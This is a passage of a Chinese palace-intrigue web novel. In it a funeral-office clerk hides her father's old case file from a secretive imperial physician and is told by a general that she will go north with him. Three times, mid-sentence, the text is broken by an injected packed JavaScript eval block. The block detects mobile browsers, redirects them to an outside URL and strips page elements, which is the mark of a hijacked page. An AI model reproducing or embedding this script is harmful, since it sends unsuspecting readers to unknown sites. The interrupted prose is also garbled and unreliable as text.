冯嵩慢慢走近,伸手翻开最上头那卷,动作极稳,像是怕把旧纸碰碎。他翻得不快,甚至称得上细致,一页页看过去时,眼神安静得没有半点波澜。 “季掌簿。”他缓缓开口,声音依旧不高,却叫人无端觉得背后发凉,“怎么有几卷不在这里?” 11. 绕开他 “季掌簿,怎么有几卷景和九年前后的档案不在这里?” 冯嵩这句话落下来时,乙字号库里的灯火恰好被风吹得微微一晃。窗外老槐树的枝叶拍在窗棂上,细碎的沙沙声透过半旧的窗纸渗进来,像有人隔着一层昏黄光影,在不紧不慢地刮着人的心口。季柠站在木架旁,指尖还沾着旧纸上的灰,脸上的神色却没有半分波动,只把手里那卷案子合上,轻轻放回一旁,仿佛冯嵩问的不过是哪几卷并不相干的宗亲旧例。 她在凶礼司这些年,最大的长进未必是认档、誊抄、理旧册,而是学会了如何在心里翻江倒海时,把脸上的神情绷成一潭死水。越是危险的时候,越要像个什么都不知道的人。尤其是面对冯嵩这种人,眉眼生得寡淡,站在那里不动声色,衣袖上那股淡淡药气都像浸在骨头里,既不咄咄逼人,也不多说一句废话,反倒更让人摸不透。 季柠低头看了看手边那几卷刚拣出来的旧案,像是真在费力回想,过了一会儿才皱起眉,带一点恰到好处的困惑道:“景和九年的档案不在这里?怎么会?” 冯嵩看着她,点了点头。 “这倒怪了。”季柠把灯盏往近处挪了挪,翻了翻最上头那几卷,又抬眼去看架上积灰的签条,嘴里像是自言自语,“景和年间的暴病类旧档,下官眼下能拣出来的都在这里了。若还缺着卷,那多半不是归错架,就是压在未归档的箱子里了。那边的东西最乱,年份混着年份,缺页压着缺页,有些连签条都掉了。真要从头翻,只怕不是一时半会儿的工夫。” 她说这话时,语气不急不缓,甚至还带着一点被旧档折腾多了之后自然而然生出来的抱怨。若换作常书吏那种人,此刻大约已经顺势把这桩苦差推得干干净净了,偏季柠不一样,她说得像推脱,可推脱里又留了余地,既不显得不上心,也不显得太过积极,只把难处点出来,叫人挑不出不是。 “院判大人若真急着要,不如先告诉下官具体是哪几卷。”她抬手掸了掸袖口上的灰,笑了笑,“景和年间的散档多得很,若没有个准头,下官便是翻到天黑,也未必能翻得出来。” 冯嵩没有立刻说话。 他站在库房门边,身上那股若有若无的苦药味被旧纸霉气压住了一半,整个人便显得更淡些。季柠方才已经看出来,这人不爱废话,也不爱把心思露在人前。别人说一句,他未必要回一句,可眼睛却像时时都在记东西。此刻他安静地看着季柠,目光不冷也不热,却让人无端生出一种正被他隔着皮肉一寸寸往里看过去的错觉。 过了片刻,他才淡淡道:“不必了。” 季柠心口微微一松,面上却仍旧稳得住:“院判大人的意思是?” “就先拿这些。”冯嵩垂眼,将那几卷拣好的旧案重新理齐,声音平平,“若后头仍有缺漏,我自会再来。” 他说得很淡,像是真只是来查几卷旧档,查不到便下次再说。可正因他太过平静,季柠反而没法真把这句不必了当成宽心。 她没有再追问,只让开半步,笑意温和得恰到好处:“既如此,下官便先把这些给院判大人包起来,省得旧纸受潮,一路上又散了。” 她动作利落地找来油布与旧匣,将那几卷案子一一包好。冯嵩站在一旁,没有搭手,也没有催促,只是在她将最后一卷系上绳结时,淡淡看了一眼那堆压在木架最底下、还未来得及归拢的未归档旧册。那目光不过停了一瞬,轻得几乎像风吹过纸页,可季柠背后还是悄悄起了一层薄汗。 好在他到底没说什么。 拿了旧案,冯嵩便离开了。 库房的门重新合上时,季柠站在原地,许久没有动。灯火映着她脸上那层勉强撑住的平静,直到脚步声走远了,她才极轻地吐出一口气,像是终于把从方才起就压在胸口的那口闷气缓缓吐出来。可这气一泄,她反倒更清楚地意识到,事情根本没有过去。 冯嵩分明提起了景和九年的卷宗,却没有直接点名要父亲那一卷,是不想在她面前透露父亲的档案?还是在试探她是否已经察觉了异常? 季柠低头看了看自己袖中的薄纸拓本,又回头望了一眼那堆废簿里压着的旧案,只觉得心里那根线被扯得更紧了些。她原本还存着一点侥幸,可方才他一开口便点出景和九年的暴病旧案,那点侥幸便彻底碎了。 他在找父亲那一卷,他知道那一卷该在这里。 这一夜季柠几乎没睡好。 凶礼司后头那间小值房原本就窄,旧木榻少了半截脚,躺在上头稍微一翻身便要吱呀一响。她裹着披风躺了半夜,窗外风声断断续续地吹,吹得她脑子里那些乱七八糟的念头一个接一个冒出来。小时候父亲病倒时屋里压着的药味、母亲哭红了的眼、礼部来人吊唁时过于体面的说辞、景和九年那份预拟底档上的日期,还有宋昭底册里被一笔笔提前写好的死法,全都搅在一处,混成一团怎么也理不顺的线。 天快亮时,她终于迷迷糊糊睡过去了一会儿。可还没睡沉,外头便传来人声和翻箱倒柜的动静。那声音不大,却在清晨未醒透的官署里显得格外清楚,像是谁故意把一屋子旧纸翻得哗啦作响,偏又压着嗓门,不想惊动太多人。 季柠睁开眼,披风一裹便下了榻。 晨光还没完全透进来,凶礼司院里带着一层薄薄的潮气。昨夜落下的露水压在槐树叶尖上,风一吹便一滴滴往下滚。她循着声音走过去,很快便到了未归档库旁边的小偏屋。那地方比乙字号库还乱,平日里谁都懒得进去,堆的全是缺签、漏页、重复誊抄、以及不知该归到哪一类的散档。 此刻屋门大开,里头却点了两盏灯。一个人正挽着袖子蹲在满地旧箱之间,嘴里嘀嘀咕咕,手上翻得飞快,翻两卷便要皱一次眉,看着像在和这一屋子破纸较劲。 季柠站在门口看了一会儿,才认出来是礼部里一个同僚,名叫方芸。 方芸比她年长几岁,原也是礼部里做文书的,后来因字写得太快、脾气又直,被周谦借来凶礼司帮过两回忙,久而久之倒混熟了。她生得不算多美,胜在眉眼鲜活,平日里最爱一边做事一边抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548095|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨,嘴上虽碎,可手脚利索,脑子也快,是那种看上去脾气不大好、真遇上事却很靠得住的人。 方芸这会儿显然翻档翻得心烦,一抬头看见季柠,先是一愣,随即长长“哎”了一声,语气里全是生无可恋:“你可算来了。你们凶礼司这堆破烂到底是谁分的类?景和九年的散档,怎么能和永安末年的祭文副册堆在一处?我翻了一早上,灰都吃了半肚子,手上全是纸屑。” 季柠眼皮微微一跳,面上却只露出几分真切的疑惑:“你怎么跑这儿来了?周主事昨日不是罚我整理乙字号库么,这边也归你了?” 方芸闻言,没好气地把手里那卷旧册一扔,站起身来拍了拍裙角:“还不是太医院那位冯院判。今儿一早又来了,说昨日带走的旧案还不够,景和九年前后的暴病散档也要一起看。周主事怕麻烦,怕他在乙字号库里翻出什么找不到头绪的旧案,索性把我拎来翻未归档的箱子。倒是你——” 她狐疑地看了季柠一眼,声音压低了些。 “冯院判特意提了一句,说季掌簿昨日已经忙了大半日,不必再叫她来掺和。你说奇不奇怪?平日里这种苦差谁不是逮着谁算谁,偏今日,他还怕累着你似的。” 季柠垂在袖中的手指不自觉蜷了一下。 冯嵩特意支开她,因为景和九年的散档里,有她父亲的卷宗。 季柠心里那点发冷的念头沉了一沉,面上却只笑了一下,甚至还带着点惯常的轻松:“那是院判大人心善,知道我昨天刚被周主事骂过,不忍心让我一大早再钻这地方。换了周主事,恨不得把我连人带榻一起搬进来。” 方芸听她这口气,倒也笑了,眉间那点烦躁散了些:“你还有心思说笑。行了,既然来了,别站着看热闹,搭把手。” 季柠没立刻蹲下去,而是先往屋里四下看了一圈。地上已经堆了十来卷翻出来的散档,签条乱七八糟,红绳松的松断的断,一看便知方芸翻得不讲章法,全凭直觉先把暴病两个字沾边的东西都捞出来。 她想了想,道:“你先别急着乱翻。我昨日在乙字号库理旧案时,顺手也拣了几卷景和九年前后的暴病散档出来,原想等周主事回头问起时再一并归档。如今既然冯院判要看,不如把我那边拣出来的也一同送过去,省得你这里翻一半、我那边还压着一半,回头再叫人说凶礼司办事不利索。” 方芸一听这话,眼睛顿时亮了些。她这人最怕的就是重复折腾,若有人肯替她省一半工夫,她对这人立刻便能再顺眼三分。 “你昨儿拣出来了?那你不早说!”她拍了拍手上的灰,语气明显松快下来,“你若真有现成的,咱们合一合就行。这破地方我是一刻也不想多待。灰大得厉害,回头鼻子里都得抠出纸沫子来。” 季柠见她上钩,面上神色越发自然:“早说也没用。昨儿院判大人压根没提散档,谁知道今儿一大早又要加这一出。你先把手头这些放着,我回乙字号库去取。回头咱们归一归,由我一并送去太医院。” 方芸一愣:“你送?” 12. 主动迎上去 季柠抬手掸了掸袖口上的灰,笑得十分理直气壮:“自然我送。你这一早上翻得跟挖坟似的,灰头土脸的,回头进宫门口被禁军一拦,少不得又要盘问半天。再说了,你不是最烦跟太医院那帮人打交道么?我替你跑这一趟,回来你替我顶一顶周主事的问话,咱们谁也不亏。” 这话说得十分漂亮。既给了方芸台阶,也替自己找了个再顺理成章不过的由头。 方芸果然犹豫都没犹豫,便立刻把这桩跑腿的苦差往她手上一推:“你若愿意去,那自然最好。太医院那帮人说话跟药渣子似的,又苦又干,我见着就头疼。你去,你嘴比我甜,回头还能少听两句官话。” 季柠笑着应下,转身去了乙字号库。 她走得不快,心里却比方才更紧了一些。她当然不是真好心替方芸分担差事。她主动揽下去太医院送案卷的活儿,是因为她知道,一旦这些景和九年的散档被送进去,冯嵩要看的绝不会只是表面这些暴病旧案。他既然避开自己,便说明他怕她察觉;可他越怕,她便越要跟着去看一眼。 父亲那一卷她不能直接送。 至少现在不能。 可她昨日已经抄下了薄纸拓本,袖中还藏着那几卷同冯嵩有关的案子卷号。她只要能把案卷亲手送进太医院,便总有机会看看,冯嵩到底在景和九年的旧档里找什么。 乙字号库里依旧昏暗。季柠进去后,先照着昨夜的记忆,将几卷与冯嵩相关、却并不直接牵扯父亲的旧案拣了出来,又另外从废簿里抽出父亲那卷,重新用薄布包好,紧紧压在最底层的旧箱中。她不敢把它带在身上。宫中盘查极严,一旦真被搜出来,别说查父亲旧案,她自己怕是连凶礼司都走不回来。 忙完这些,她才抱着那几卷能送的旧案回到未归档库。方芸果然已经把散乱的卷宗大致拢到一处,见她回来,立刻像看救星似的看过来。两人把案卷重新归整,按年份、死因、是否正册粗略分成三摞,又找来结实些的旧绳捆好,外头裹了一层油布。 忙活完时,日头已经高了些。窗外那点阴气渐渐被日光驱开,院里传来门房大叔打盹时含含糊糊的咳嗽声。季柠蹲得久了,腿有些发麻,起身时险些一晃。方芸见状,倒难得没再抱怨,只一边替她扶了一把,一边絮叨:“你这身子骨也真是不争气,平时少偷懒吧。回头真去了太医院,顺便给自己抓两副补气的药。” 季柠心里正惦记着太医院和冯嵩,听见这话,忍不住笑了一下:“我若真去抓药,回头周主事看见账单,能先把我补到地底下去。” 方芸被她逗得翻了个白眼,随即又压低声音问:“你真要一个人去送?要不要我陪你?” 这倒叫季柠有些意外。方芸平日里嘴上不饶人,真到事上却总有点不合时宜的热心。可越是这样,季柠越不能真把她拖进去。 她于是笑着摇头:“不用。你替我在这里看着,别让人乱动剩下那些卷子便成。周主事若问起来,就说我奉你的命去跑腿。真出了岔子,也好有人替我说句好话。” 方芸“啧”了一声:“你这张嘴,倒真会给自己留退路。” “那也得有人肯信。”季柠抱起那摞案卷,侧头冲她一笑,“走了。” 从凶礼司到宫门并不算太远,可抱着一摞沉甸甸的旧档一路走过去,手臂还是很快便酸了。今日天色不错,前些日子的连阴雨过后,阳光终于肯露面,京城街巷都像被重新晾晒了一遍,瓦片发亮,街边酒旗微动,连卖馄饨的小摊都比平日热闹些。季柠一路走,一路在心里盘算待会儿进了宫门要怎么同禁军说,进了太医院又该用什么理由拖一拖,最好能把案卷送到冯嵩手里之前,多看两眼他身边还有什么人。 越靠近宫门,人越少,街面也越发整肃。高高宫墙在日光下泛着沉沉的红,像一整块压下来的朱砂,门前禁军披甲持戟,个个站得纹丝不动,连靴底踏在青石上的声音都透着一股冷硬。季柠远远看见宫门,心里那点原本因筹谋而生出的躁意反倒慢慢沉了下去。她知道自己这一趟其实很冒险,可父亲那卷旧案像一根藏在骨缝里的刺,既然已经摸到了轮廓,便再没有装作看不见的道理。 她抱紧怀里的案卷,刚要往宫门前去,脚步却忽然顿住。 宫门外不远处停着几匹马,马身高大,鬃毛修剪得极利落,一看便是军中用马。日光照在玄色马鞍上,泛着一点冷沉的光。几个亲卫模样的人立在一旁,个个背脊笔直,腰间佩刀,连站姿都带着北营特有的利落。 而那几匹马前,站着一个人。 一身深色常服,肩背挺拔,侧脸轮廓冷硬,正抬头看着宫门上方的匾额。风从宫道尽头吹过来,掀起他衣角一线极轻的弧度,连那一点晃动都像刀锋起落时的光。 宋昭。 像是察觉到什么,宋昭忽然偏过头来。 他一眼就看见了她。 季柠抱着那摞旧案,站在宫门外的青石地上,一时竟有些进退不得。 她是真没想到会在这里撞见宋昭。更没想到的是,自己怀里这堆卷宗上头,偏偏压着“景和九年”“暴病类旧案”几个再扎眼不过的字。日头正从宫墙上方斜斜照下来,光落在旧纸泛黄的边角上,也照得那些墨字分外清楚。她只看了一眼,心里便先咯噔了一下,这副情形若落到旁人眼里,不过是个礼部女官奉命调档,可落到宋昭眼里,就难免要同前几日那份“暴病身亡”的预拟底册连到一处去。 偏偏宋昭的目光也正好落在她怀里的卷宗上。 隔着一小段不远不近的距离,他站在马旁,身后是高高的宫门和肃立的禁军,衣袍在风里只极轻地动了一线。那双眼里本就没多少温度,此刻看过来,便更叫人心里发紧,像是刀锋未出鞘时贴着人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548096|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的骨头轻轻擦过,无端叫人寒气往上爬。 季柠只迟疑了一瞬,便还是抱紧卷宗,快步往他那边去了。 她不是个爱迎难而上的人,能躲则躲,能绕就绕,平日里见了麻烦都恨不得先往后退三步。可眼下这麻烦既然正站在宫门口盯着她,她若真装作没看见,回头才是更大的解释不清。更何况,她心里其实也一直惦记着前几日宫里那场宴。她那句“别喝药”递出去之后,便像把一口气吊在了半空里,直到今日看见宋昭好端端站在这里,那口气才算真正落下一半。 “将军。”她走到近前,先弯了弯眼,“这么早便入宫了?下官还以为将军前几日就进宫问安,总该在府里歇一歇。” 宋昭看着她,没立刻答。宫门前的风比街巷里更冷些,吹得她额边碎发微微晃动,怀里的旧案也被卷得纸角轻轻抖了一下。季柠面上笑得稳,心里却已经飞快盘算了一遍,她是先关心那日宫里的情况,还是先把自己摘干净一些。 好在宋昭终于还是开了口。 “再有几日,我便要出京回北境。”他说得很平,在陈述一件再寻常不过的事,“今日入宫,是来向陛下辞行。” 季柠微微一怔。 北境那边不能久离人,她原也猜到宋昭不会在京中停太久,可真听他说出来,仍旧觉得有些突然。 季柠打量了他一眼,人还是那个人,瞧不出病色,更不像受了那场宫宴半点影响。可越是如此,越叫她想起前夜凶礼司灯下那份底册里写得清清楚楚的“旧伤骤发,夜半咳血”,于是到嘴边那句轻飘飘的客套便不自觉变了样。 “那就好。”她说完才觉得自己这三个字过于没头没脑,便又补了一句,“我是说,将军既能亲自入宫辞行,想来那日宫里……一切还算顺利。” 她说话时声音压得很低,像是怕被风吹散,也像是怕被旁人听去。 宋昭闻言,目光才终于从她怀里的旧案上移开,落到了她脸上。他眼底神色一向不多,此刻倒像是有极淡的一层波澜掠过,很快又恢复了平常那种冷静难辨的样子。 “托季掌簿的福。”他说,“那日什么都没发生。” 季柠听懂了这句话里的意思。她原本一直悬着的那半口气这才彻底落下来,连肩背都不自觉松了松。只是这口气刚松,她便察觉到宋昭的视线又重新落回了自己怀中的卷宗上,顿时又绷了回去。 她顺着他的目光低头一看,也跟着沉默了一下。 旧纸外头裹得不算严实,最上头那卷恰好露出半截签条,上头“暴病类”三个字压都压不住。她心里一跳,方才见到宋昭时那点意外和庆幸霎时被另一层更现实的尴尬盖了过去。毕竟前几日他那份第二次重拟的丧仪底册,死因正是暴病身亡,如今她抱着一堆暴病旧案,偏又在宫门口撞上他,这事怎么看都透着点说不清的纠葛。 13. 我带你一起走 季柠抿了抿唇,到底还是先开口解释:“将军别误会。乙字号库昨日在整理旧案,太医院那边又来调档,下官只是奉命送一趟。” 她这番话说得很快,快得像是生怕慢一步,这事便要在他眼里长出别的意思来。说完之后,她自己都觉得有点欲盖弥彰,可眼下也顾不得了。毕竟凶礼司、预拟丧仪、暴病底册,这三样东西本就够让人多想,若再由着他自己往下联想,她还真未必兜得住。 宋昭听完,却没说信,也没说不信,他只是看着她,片刻后才淡淡道:“我看出来了。” 季柠一怔。 “看出来什么?”她下意识接了一句。 “你很怕我误会。”宋昭语气平平,“比起担心这些旧案本身,季掌簿似乎更担心我把它们和前几日那份底册想到一处去。” 季柠觉得自己方才那点急着解释的心思,像被他拿指尖轻轻一拨,便全露了出来。她这人平日里最爱把自己往后藏,生怕一个不慎便卷进别人的刀光里。可在宋昭面前,她几次三番都没藏住,什么东西到了他眼里都像要被剥掉一层皮似的,想圆过去都得多拐两道弯。 季柠只得笑了一下,笑意里多少带了点被戳穿后的无奈:“将军如今看谁都该多疑两分,我若再不解释,回头怕是被误会更深了。” 宋昭闻言,唇边似乎极轻地动了一下,却也不过一瞬。 他没有继续追着这堆旧案不放,只垂眼扫了扫她被卷宗压得微微发白的指节,道:“你送完之后,在宫门口等一等。” 季柠微微一愣:“等将军?” “嗯。”宋昭答得很简短,“我有事同你说。” 他说完这句,便不再多解释,转身往宫门去了。禁军见了他,自然躬身让路,深朱色的宫门在他身后缓缓合拢,只留下一线沉沉的影子。季柠站在原地,看着那道身影没入宫中,怀里的旧案忽然就变得更沉了些。 她心里头一回生出一种说不上来的古怪。 “真是半点不叫人省心。”季柠在心里嘀咕了一句,面上却不敢耽搁,抱着旧案往太医院去了。 宫里的路她不算太熟,好在太医院并不难找。比起礼部、户部这些日日与文书打交道的地方,太医院更多几分药气和清冷。还没走近,便先闻到空气里浮着的一层苦香,像是晒干了的陈皮、当归和细辛混在一起,叫人一闻便想起熬得发黑的药汁和冬日里闷在屋中的咳声。院中晾着药材,竹匾一层层摊开,黄的白的、卷的直的,安安静静地铺在日头底下,偶有几个小药童抱着药箱匆匆经过。 季柠先在门口同守值的小吏报了来意。那小吏年纪不大,眼下带着淡淡青黑,像是昨夜也没睡够,听见她是凶礼司来送景和九年暴病旧案的,先点了点头,随后又露出一点茫然之色:“冯院判不在院中。” 季柠心里微微一沉,面上却还稳着:“不在?那院判大人可曾交代案卷交给谁?” 小吏道:“冯院判今晨便被圣上遣去行宫了。听说三公主夜里咳得厉害,太医院里旁人都不放心,便让冯院判亲自过去照看。这两日怕是都回不来。” 季柠抱着卷宗,站在药香浓重的院中,半晌没说话。 她今晨从乙字号库里翻出父亲旧案,又绕了那么大一个圈子,主动揽下送卷宗进宫的活,路上连待会儿该怎么同冯嵩周旋都想了好几遍。她原以为今日这一趟,少不得要同冯嵩正面撞上一回,说不准还得在他那双看什么都淡淡的眼睛底下演上一场。可结果她抱着案卷一路进宫,走到太医院,竟只听得一句“冯院判不在”。 这种感觉很奇怪。 像你对着一堵墙攒了半天力气,最后那堵墙自己先没了。胸口那股绷紧的劲儿一下子落了空,不知该松还是该恼。 季柠站在原地,先是失落,随即又有点想笑。失落于自己白白准备了半日,连袖中的那张薄纸拓本都还压得发烫;可笑的是,在失落之外,她心里更先冒出来的,竟是一点不合时宜的轻松。 没见着人,至少说明今日不必当着冯嵩的面临场周旋。她这一路上一直绷着的那根线,这才稍稍松了些。 她把怀里的旧案往案上放下,同那小吏交割清楚。交卷时,她还不死心,顺势多问了两句:“冯院判平日里也常去行宫?” 小吏愣了愣,显然没想到她会问起这个,却还是老老实实答了:“也不算常。只是公主和几位主子若有旧疾反复,院判大人医术好,圣上更信他些。” 季柠点点头,像只是随口一问,手指却在案边轻轻点了点:“院判大人平日里同院中诸位来往多么?我看他前两回调档,都是自己亲自来,倒是仔细。” 那小吏听了这话,脸上露出一点说不上来的古怪神色,像是想说什么,又碍着宫里规矩不敢多嘴。最后只含糊道:“院判大人一向如此,不爱劳动旁人。太医院里谁有不懂的医理问到他跟前,他也肯讲,只是平日话少,不大爱同人闲聊罢了。” 这话同霍青查来的差不多,等于没问出什么。 季柠又试着旁敲侧击了几句,问他近日都在看什么案脉,问行宫那边是哪位公主身体不妥,甚至连药房近来是不是多调了几味调旧伤的药都拐着弯问了。可太医院的人向来嘴紧,那小吏又只是个守门的,知道的本就有限。问到最后,也无非是拼凑出冯嵩医术高明、性子孤僻、很受圣上器重这几条再寻常不过的消息。 季柠心里有点泄气。 她原本还指望,太医院这种地方人多嘴杂,总能从药童、医官或哪位值房先生口中撬出几句旁的话来。可真走了一趟,才发现冯嵩这人比她想得还干净。 她从太医院出来时,日头已经偏高了一些。宫道上静悄悄的,偶有内侍低头快步走过,脚底落在青石上时声音极轻。风里药香渐渐淡了,取而代之的是宫墙和日头晒过青砖后的干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548097|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燥气息。季柠抱着空了大半的手,忽然觉得有些发空。她在宫门口站了一会儿,这才想起宋昭让她等一等。 于是她只能认命地等,这一等,便等了很久。 宫门外的人来来去去,换了两拨值守禁军,连守门的小内侍都从打起精神到偷偷揉了两回眼睛。季柠站得腿有些发酸,索性寻了宫墙边一处不碍事的地方坐下。她平日里在官署里熬惯了,并不算多娇气,可宫门口这地方到底不比凶礼司后院,来往皆是眼睛利得很的人物。她嘴上虽不说,心里却已经把宋昭翻来覆去嫌了几遍。 什么大事,非得让她在宫门口晒着等。 他若是反悔了,或者一时被皇帝留下议事,难不成自己还得等到日头落山不成? 她正腹诽着,宫门处忽然有了动静。 先出来的是几名随行内侍,随后才是两个身量高大的亲卫,最后才见宋昭从门内缓步走出来。他走得不快,神色却比先前更沉些,像是刚在宫里做完一桩不算多轻省的决定。日头落在他肩上,将那身深色常服照出一道冷硬的边线,也衬得他眉眼越发利落分明。 季柠站起身,拍了拍裙角上的灰,心里那点等久了生出的不耐烦还没来得及完全压下去,便见宋昭已经朝她这边走了过来。 “将军总算出来了。”她先笑了一下,语气里多少带了点不轻不重的埋怨,“下官还以为自己今日得在宫门口站成石狮子。” 宋昭看了她一眼,似乎也听出了她话里的那点怨气,却并没有像平时那样顺手还她一句,只道:“久等了。” 这三个字倒叫季柠微微一愣,她只得咳了一声,把话锋转开:“下官去过太医院了,冯院判不在,听说被派去行宫照看公主。那些旧案便先留在了太医院。” 宋昭听了,眉头几不可察地动了动:“没见到他?” “没有。”季柠摇头,“我原还想着,若能见到人,兴许还能看出点什么。可惜白跑一趟,除了知道他人缘依旧不怎么样,旁的也没问出来多少。” 说到这里,她自己都觉得有点讪讪。她这人平日里最爱把话说圆,可一旦事情真落到自己在意的地方,便总难免露出一点不合时宜的急。 宋昭却没有在这个话题上停太久。 他看了她一眼,目光里带着一点季柠一时没能分辨出的东西,像是审视,又像是在衡量。过了片刻,他才道:“我今日进宫,不只是辞行。” 季柠一怔,下意识抬眼看他。 宫门外风不小,吹得他衣角微微扬起,也将她方才因久等而生出的那点松散情绪一点点吹了回去。她忽然觉得,宋昭叫自己在宫门口等这一遭,恐怕不是随便说两句话那么简单。 她心里隐隐生出一点不妙的预感,面上却还是挂着笑:“将军有话不妨直说。” 宋昭看着她,眼神淡淡的:“我已向陛下请旨,这次回北境,我带你一起走。” 14. 跟我回北境吧 “这次回北境,我带你一起走。” 宋昭这句话落下时,宫门外恰有一阵风掠过,将他衣角吹得微微扬起。季柠原本还在心里盘算着,自己该如何不着痕迹地多看两眼,谁知这念头尚未转完,便被这句轻描淡写的话生生砸得停住了。 她足足愣了两息,才像终于听明白似的睁大了眼睛。 “将军说什么?”她抬头看向宋昭,脸上的笑意都没来得及收,就这样生生僵在了唇边,“带我……回北境?” 宋昭看着她,神色平静得很,仿佛自己刚才说的不是要把一个礼部掌簿从京城带进北营,而不过是明日天气如何、军中该添几车粮草。 “你没听错。”这四个字不容置疑。 季柠只觉得脑门都跟着嗡了一下。她这人平日里向来最懂顺势而为,若是遇上旁的事,听见个风头不对,立刻就能笑着把自己往后摘三层。可这会儿实在是摘不动了。她在原地站了一会儿,才勉强压住那点差点冲口而出的谩骂,低声道:“这……不大合适吧?” 宋昭没有立刻接话,只抬眼看了看周围。 宫门口人虽不多,却也绝不算无人。禁军披甲而立,几名内侍捧着拂尘匆匆从里头出来,又低头快步走远。风过宫道,卷得人衣袂轻晃,光天化日之下,宋昭一个镇北将军带着她这样一个礼部女官站在宫门前说回北境,实在过于招眼。宋昭显然也明白这一点,略一侧身,便先往宫墙边那道较为僻静的阴影里走去。季柠虽心里还乱着,到底还是跟了过去。 墙下阴影凉一些,连风都比方才收敛了许多。宋昭站定后,才重新看向她:“哪里不合适?” 季柠本能地想先拖一拖,她抿了抿唇,先挑了个最冠冕堂皇的说辞:“下官到底只是礼部一介小吏,平日里做的都是文书誊录和旧档归整。将军回北境,是回军中,是正事。下官跟着去做什么?北营又不是礼部值房,凶礼司也不在边关设衙门。” “我已请旨借调。”宋昭答得很快,显然这话不是临时起意,“名头是礼部掌簿,随军核对伤亡名册与奖赏规制。” 季柠一噎。一个借调压下来,礼部那边顶多抱怨两句少了个写字抄卷的人,却绝没有人敢在皇帝点头的事上多生枝节。 她不死心,抱着卷宗又换了个理由:“可下官一个女子,北境路远,气候又比京中苦寒得多。将军想来也知道,我这种人最娇气,值夜多吹两阵风都要咳嗽。若真去了北境,万一水土不服、病倒在半路,岂不是给将军添麻烦?” 宋昭看了她一眼,眼神里带了点不动声色的审视,仿佛在分辨她这话里究竟有几分是真娇气,几分是装模作样。片刻后,他才淡淡道:“你若真那么娇气,今日也不会在宫门前站着等了我那么久。至于路远,北上走官道,不赶急程,路上有车有马,不必你一路风里来雨里去地追着军营跑。” 季柠心里暗暗吸了口气。 她原以为宋昭这种人,最不耐烦听女子拿身体说事,自己若装得娇弱一点,他多半会觉得烦。可这人偏偏不走寻常路,把她那点故意说重了的娇气拆开来看,看完之后还十分平静地下了结论。 这就很讨人嫌了。 她沉默片刻,又扯出第三层理由:“北营皆是男儿,将军治军严明,想来也知道我跟着去多不方便。就算借调用的是礼部名头,可我一个女子在军营里住着,总归不像样。旁人看了,也要说将军行事失了分寸。” 这一次,宋昭倒是沉默得久了一些。只是在季柠心里刚浮起一点总算问住他了的念头时,他便开了口:“我没打算让你住军帐。” 季柠愣了愣。 “北境设有官驿,也有随军的医帐和后方值房。”他说,“你若真去了,自有人给你安置,不至于叫你在一群汉子中间扎根结营。至于旁人怎么说……” 宋昭顿了顿,目光落在她脸上,语气不轻不重,却带着一点极淡的锋利,“季掌簿,你平日里怕麻烦是真,怕人议论却未必。” 季柠:“……” 接连三条理由都被堵了回来,连那点借口里藏着的绕弯都被他看得清清楚楚,季柠心里那股憋闷劲儿便也一点点浮了上来。她这人平日里最会见风使舵,遇上旁人,三分真七分假地绕两句,事情多半也就过去了。可偏偏宋昭不一样。这人像是在战场上活久了,连听人说话都带着一点剥皮拆骨的耐心。她话音还没落,里头想躲什么、绕什么,便都被他拎了出来。 她站在宫墙下,胸口闷了片刻,终于有些恼了:“将军既然样样都替下官想好了,那还问我做什么?您不如直接派人去礼部传一道口谕,把我连人带铺盖卷一并送上北上的车,也省得听我在这里罗嗦。” 这话出口时,她语气里已带了点平日极少露出来的硬。 宋昭看着她,脸上神色却没太大变化。季柠一向滑不留手,笑起来像春风,低头认错时像最乖顺的掌簿,偶尔也会嘴贫两句,可真正把那层圆滑的皮往旁边掀开一点,露出里头那点不肯退让的硬气来,倒并不多见。 他没接她这句气话,只道:“你还有真正的理由没说。” 季柠手指一紧。 她心里最不愿叫人碰的那根线,便被他这一句轻飘飘地拎了出来。眼下被他这样点破,那层故作轻松的壳便再也撑不住了。 风从宫墙尽头绕过来,吹得她额前碎发轻轻动了一下。她指尖一点点掐进衣袖边角,过了好一会儿才慢慢开口:“因为我父亲的案子,还没完。” 她这句话说得很低,低得像是怕惊动了什么。可一旦说出口,后头那些原本死死压在心里的东西,便像被人揭开了盖子,一点点往外冒。 